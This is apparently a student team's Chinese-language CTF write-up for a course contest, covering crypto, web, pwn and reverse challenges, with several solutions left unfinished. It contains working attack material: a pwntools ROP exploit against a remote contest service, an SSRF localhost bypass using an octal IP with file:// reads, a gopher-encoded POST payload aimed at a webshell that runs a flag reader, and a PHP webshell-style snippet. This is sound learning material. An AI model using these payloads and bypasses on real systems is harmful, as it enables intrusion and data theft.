# EOF Write Up :::warning :warning: [WriteUp繳交](https://docs.google.com/forms/d/e/1FAIpQLScdx-zwt1WCmGPsetByk-mmc-q5CGhV568Fp55DE_gM79WIaQ/viewform)開放至 <font color=#ED3E44>**1/19 (三) AM 9:00**</font>,逾期不開放補繳 **隊伍名稱** : ⧸⎩⎠⎞͏(・∀・)⎛͏⎝⎭⧹ ::: ## **Welcome** ### gogogo NC指令`nc edu-ctf.zoolab.org 30214` 連上去就拿到 FLAG ## **Crypto** ### babyPRNG * 這題的PRNG的Random sequence明顯固定是4個數字 [0, 109, 182, 219] 再隨機循環 * 所以將每個 byte 做 4 次 不同的 xor 並過濾出仍在 charset 的結果 * 可以拿到 `FLAG{12_pr0m15X32_12_w1ll2_n0Z72_mY4k32_my2_0wn2_rY4nd0m2_funcZ710n2_Y46Y41n}` * 再大概把有解出來兩種結果的過濾一下 ( 沒錯,人工過濾 ) `FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n}` 就可以拿到了XD,下面是 exploit code ``` byteEnc = bytes.fromhex(enc) for x in byteEnc: for y in random_: tmp = x^y #print(tmp) if( chr(tmp) in charset ): print(chr(tmp),end="") ``` ### almostBabyPRNG * 有鑑於上面那題的 Randomsquence 不怎麼 Random * 這題可以發現 隨機數序列至少每 384 個就會產生一次循環 ``` a = MyRandom() random_sequence = [a.random() for _ in range(388)] print(random_sequence) ``` * FLAG 的長度是 36 & Random sequence 長度是 420 * 第 385~420個 跟 1~36 是一樣的數字序列 * 將 enc[0]-enc[35] 跟 enc[-36]-enc[-1]做 XOR * 最後拿到FLAG ### notRSA 題目的hash演算法可以寫成 (A^n) x = y,且都是在一個很大質數p的閉環下 A = [[9, 0, -36], [6, 0, -27], [0, 1, 0]] x = [78, 58, 79] 題目給予p和y,理論上可求出n,求出的n即為flag 要有一個複雜度log(n)的演算法求出n,我猜應該要像source code加密時那樣逐個bit還原n,但我不知道怎麼做 * 有發現到A的特徵值為三重根,和特徵向量v=[6, 3, 1],(A^(p-1))v = v * 但不確定以上發現有什麼用 ### babyRSA n = pq m = n^2 + 69420 h = (3^2022 * p^2 + 5^2022 * q^2) mod m 題目給n和h還有密文c,m可以自己算 令a = 3^1011,b = 5^1011 (以下都有mod m, 這邊省略) h = (ap)^2 + (bq)^2 h + 2abn = (ap - bq)^2 h - 2abn = (ap + bq)^2 sage可以用 mod(, m).sqrt() 算出 (ap - bq) 和 (ap + bq) 但是m太大了跑不出來 ### easyRSA flag被拆成4段rsa加密 給4個 (n, c) 組合 e = 65537 第一二段level 1 (n1, c1),(n2, c2) p1, q1, q2 隨機選 2p2 = p1 - 1 根據費馬小定理 a^(p-1) mod p = 1 其中a,p互質 a^n2 mod p1 = a^(p2*q2) mod p1 另a為完全平方數a = x^2 x^2n2 mod p1 = a^(2p2*q2) mod p1 = a^((p1 -1)*q2) mod p1 = 1^q2 mod p1 = 1 a^n2 mod n1 = r,a^n2 = K*p1*q1 + r a^n2 mod p1 = r mod p1 = 1 mod p1 則p1可以整除(r-1) a可以帶入任意平方數,取任意數量的a,尋找各r-1間的最大公因數,如果結果是質數就是p1。 求出p1可算出p2,q1,q2,可求private key d1 d2,可解出第一二段明文 exploit code(python): ``` p1 = pow(4, n2, n1) - 1 for i in [3, 5, 7, 11, 13, 17, 19, 23, 29]: a = i**2 p1 = math.gcd(p1, pow(a, n2, n1) - 1) if isPrime(p1): break q1 = n1 // p1 p2 = (p1 - 1) // 2 q2 = n2 // p2 d1 = inverse(e, (p1 - 1)*(q1 - 1)) d2 = inverse(e, (p2 - 1)*(q2 - 1)) print(long_to_bytes(pow(c1, d1, n1))) print(long_to_bytes(pow(c2, d2, n2))) ``` 解出兩段明文 b'flag{S0rry_\x8f\xce\x1fIm7E\xc3\xfbo\xbfY\xcb\xb4\xae\xf8 \xc7k\x1c,\xdf3\xfb\xa5?Da\t\xa4D\xb2M\x8a[\x01\xbc\xe6+\xc3\xd1L\xb9\xe0)\x8a\xbd\xbf\xcb<\x1e' b'1_f0r9ot_T0\x81\xfa\xb0\xed\xdcxl\xf5\xc7O5G\xba\x1c\xa3bJ*\x8e\x88\x1aT=\xe4.v%>\xa5\x8e\x93\xb7\xaer\x8e\x1d\x90\xe3v}_,\xebZ\x1e\xb2\xf5\x03\xed\xfd' ## **Web** ### Happy Metaverse Year 這題看了一下 source 碼,原本是打算繞過之後對 sqli 做注入做 union 然後 + 盲注 來猜 kirito 的密碼的 結果我連單引號都繞不過,最後講師說可以用 username[] 來避開 includes的偵測... `["aaa'aaa"].includes("'") === false` ### SSRF Challenge or Not? https://ssrf.h4ck3r.quest/ => 會顯示 proxy url 的紀錄 https://ssrf.h4ck3r.quest/proxy?url=<input> => 會直接讀取<input>網站的內容並顯示在畫面上 因為 url 使用 urlparse(url).netloc 規範輸入應該要為 <sth.>://<sth.> 並且 netloc 不能為本地端指令。但是可以使用`http://017700000001`來 bypass,成功訪問到 local 端。之後使用file type 訪問 server的路徑 `https://ssrf.h4ck3r.quest/proxy?url=file://017700000001/proc/self/cmdline` 獲取當前啟動 process 的完整命令。 `/usr/local/bin/python /usr/local/bin/gunicorn --workers 8 --access-logfile - --error-logfile - --bind 127.0.0.1:8000 --user 1000 --group 1000 --chdir /sup3rrrrr/secret/server/ main_server:app` 成功取得 server 路徑並且訪問,然後就找不到flag檔位置了QQ * 嘗試 1. 存取 /root/bash_history => Permission Denied 2. 存取 /etc/nginx/nginx.conf => 設定在子類別的設定檔上看不到static file的路徑 ### PM * 根目錄有 /flag 跟 readflag * Shellaction=shell&command=??? => system($_POST['command']); * Dowload Shell 的 code 可以做 SSRF ```if(@$_POST['shell_url']) $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $shell = curl_exec($ch); curl_close($ch); $file = fopen($_POST['downpath'], "w"); fwrite($file, $shell); fclose($file); ``` * 應該是要用 **gopher** 建立一個 post 的請求來**做SSRF** * parameter 放 action 跟 command => 因為 shell 會做到 system * action=shell * command 主要是執行 `/readflag give me the falg > /tmp/SAO` * 編碼 `action=shell&command=/readflag%20give%20me%20the%20flag%20%3E%20SAO` * 下面這個是先編輯檔案的指令 想說先確認這個會成功 `action=editor&file=/tmp/trythis&data=gg&save=save` * Gopher 請求如下,但我不知道為什麼不會 work,是 payload 還是 port 錯了QQ...因為我用 burp 抓到的 IP:443 進去會是 SAO 那題的網頁... :D ``` gopher://127.0.0.1:443/_POST%20/uploads/webshell.php%20HTTP/1.1%0D%0A Host:%20127.0.0.1%0D%0A Content-Length:%2053%0D%0A Content-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0A action=editor&file=%2Ftmp%2Ftrythis&data=gg&save=save%0D%0A ``` ### babyphp 主要就是兩個參數的傳入要可以通過檢測,在伺服器上建立檔案(php網頁)並執行 檢測包含output跟code兩個參數都要傳入, output的部分要是產生檔案的檔名(要繞過ph開頭的副檔名,但是.php/.繞不過因為/.之後需要有字元) code沒什麼限制(<?php echo $_GET['cmd']; ?> hint是關於php://filter的部分有助於把資料寫進網頁中,但是php://filter/resource=(這邊不能使用編碼的方式) ## **Pwn** ### hello-world ![](https://i.imgur.com/fJAC7Hc.png) 用 checksec、readelf 指令檢查,沒有 CANARY、PIE 機制,並且在 fini_array 有藏 Code,IDA 反組譯會看到有個 fini() 會在 main() 執行完畢後執行,主要負責開檔/home/hello-world/flag,開檔成功後會讀入 1 byte 跟 0xff 比較,若相等的話會再 read 一次,讀取 512 bytes 遠超過 buffer 的大小造成 **BOF**。 ```python=3.8 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] # r = process('./hello-world') r = remote('edu-ctf.zoolab.org', '30212') # bypass 0xff檢查 r.sendafter("Hello, world !", b'\xff') # 一些單純用來填充的資料 fill = 'A'*120 # 蓋到fini的原本的return address fill_r15 = 0 # 控制rsi時的gadget會用到 # 已知的address pop_rdi = 0x4013a3 pop_rsi_r15 = 0x4013a1 buf_addr = 0x404F00 plt_read = 0x401090 plt_puts = 0x401080 main_fflush = 0x401315 plt_fflush = 0x4010a0 FILE_stdout_ptr = 0x404050 # 建立ROP code = flat( # open的fd可以預測數值為3 # 從fd3讀取資料到可被寫入且已知位置的記憶體位置 # 記憶體位置的選擇以可以放的下flag跟盡量不影響其他變數為主 # 如果選擇0x40400讀取flag後會蓋到0x404050(存stdout的指標) # 所以這邊選擇的是0x404F00,是從.text sec高位保留0x100 byte的位置 # 補充一點:因為ROPgadget中沒有辦法控制rdx,這邊直接使用的話rdx的值會是0x200 fill, pop_rsi_r15, buf_addr, fill_r15, pop_rdi, 0x3, plt_read, # 從buffer中使用puts把flag輸出到螢幕上 # 但會留在STDOUT的buffer中 pop_rdi, buf_addr, plt_puts, # 利用main function中的fflush部分 # 把STDOUT bufffe中的資料輸出出來 main_fflush ) # 確認ROP沒有過長(超出讀取長度、記憶體不夠寫) print(hex(len(code))) r.sendline(code) r.interactive() ``` ## **Misc** ### LeetCall 只有解到第一題的第一個測資 看doc的功力不夠QQ 知道可以用內建函數 getattr 來印出資訊 ``` print(getattr('Hello, {}!','format')(input())) ``` ### babyheap 可以建立、編輯、刪除、瀏覽note 刪除時會檢測double free有沒有發生 ## **Reverse** ### wannaSleep 這題就寫壞了QQ x64dbg 執行完 WriteFile 後就會跳出一長串的字串 內容大概是講沙丘中間塞了 FLAG ### wannaSleep_revenge 看起來這題知道ransomware怎麼加密之後要寫exploit再解密 我只把 main 的程式碼逆完之後就不太知道要怎麼辦了 但大概知道程式流程 start -> main_seh -> main 然後就return -> main_seh了 還以為是security_cookie的東西,看來想錯了... 原來是有用到 hookWriteFile QQ * 程式會確認輸入的 argv[1] 檔案是否存在 * 在的話就開檔+讀取 * 然後再開新檔寫東西進去 => 這裡打開新建的檔案就是加密的東西 ![](https://i.imgur.com/0RmG5eN.png) ### passwd_checker_2022 可以看到位置0x140001BE4(相對位置)有Enablewindow的function,該function設定的是rcx參數的視窗是否可以使用 在這邊修改rdx的數值為1,使得OK的buttom可以按,進到後續檢查FLAG的程式 ![](https://i.imgur.com/LZjeR9F.png) Buttom 觸發後來到 sub_1400016B0(),這個函數主要使用了 Windows Crypt API 將剛剛視窗輸入的內容進行雜湊與加密並且與 "E2J4z66WDHCgvxlWlILStr8epTuHJ5FFuTeK6LmBwVnN"/"G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=" 字串做比對。前者是 IDA 觀察到的字串後者是 x64dbg 實際上做比對的字串 (因為程式在進去 entry point 前會先呼叫 TlsCallBack_0 函數,這個函數有一段程式碼會將 IDA 所看到一開始的初始字串進行改寫(XOR動作),如下圖這段程式碼)。 ![](https://i.imgur.com/FtVHQSJ.png) * 加密流程如下 ([Win Crypto API Doc](https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptography-portal)) CryptAcquireContextW() 創一個 PROV_RSA_FULL 的 CSP, => CryptCreateHash() CALG_SHA => CryptHashData() => CryptDeriveKey() CALG_RC4 => Sub_140001140() memset一塊空間 ds:[7FF637157B50] => Sub_140001000() 將輸入放到 ds:[7FF637157B50] 這塊空間 => CryptEncrypt() 將 ds:[7FF637157B50] 這塊空間資料進行加密 => sub_140001610() 將加密結果(binary)以 base64 轉成字串形式存放在 ds:[7FF637157B50] => 將 ds:[7FF637157B50] "G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=" 字串做比對,相等即為 FLAG。 ![](https://i.imgur.com/8t4OGgh.png) 因為 x64dbg,可以直接在呼叫 CryptEncrypt() 前下斷點看 register 的值來得到加密的 session key。 ``` 這邊解 FLAG 的 exploit 因為我自己寫的 windows api 一值呼叫失敗所以我是手動暴力解的, 先將"G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ="字串轉換為binary的形式, 在與加密後的ds:[7FF637157B50]資料做比較 ```